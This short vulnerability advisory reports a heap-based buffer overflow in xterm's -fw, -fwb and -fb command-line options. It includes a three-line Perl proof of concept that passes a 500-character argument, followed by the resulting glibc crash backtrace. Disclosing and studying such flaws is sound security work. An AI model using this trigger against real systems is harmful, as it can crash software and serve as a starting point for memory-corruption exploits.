Product: Xterm Vulnerability: Buffer Overflow (heap-based) Credits: Celil Ünüver from SecurityArchitect.Org Tested on: Ubuntu 10.04 and xterm(256) version Details: Xterm's "-fw , -fwb , -fb" command line options causes an overflow while writing long argument.. PoC: # Contact: www.securityarchitect.org $file = "A" x 500; $print = "xterm -fw $file"; system $print; Results: p...@ubuntu:~/Masaüstü$ perl xterm.pl*** glibc detected *** xterm: munmap_chunk(): invalid pointer: 0x09f593a4 ***======= Backtrace: =========/lib/tls/i686/cmov/libc.so.6(+0x6b591)[0x2fd591]/lib/tls/i686/cmov/libc.so.6(+0x6c80e)[0x2fe80e] Greets: hellcode
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